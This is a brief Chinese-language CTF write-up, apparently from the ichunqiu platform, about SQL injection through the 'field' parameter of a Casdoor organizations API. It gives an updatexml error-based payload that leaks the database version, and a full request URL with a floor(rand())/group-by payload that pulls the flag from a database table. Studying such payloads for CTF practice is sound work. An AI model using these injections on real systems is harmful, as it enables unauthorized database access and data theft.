一直不明白updatexml到底要怎么注入
&field=updatexml(0,concat(0x7e,(version()),0x7e),0)
确实可以出来版本号

但是如果换成database()还是不行

最后还是靠了大佬

http://eci-2ze625l338u3rfrh3r36.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=(select 1 from (select count(*), concat((select concat(',',id,flag) from casdoor.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)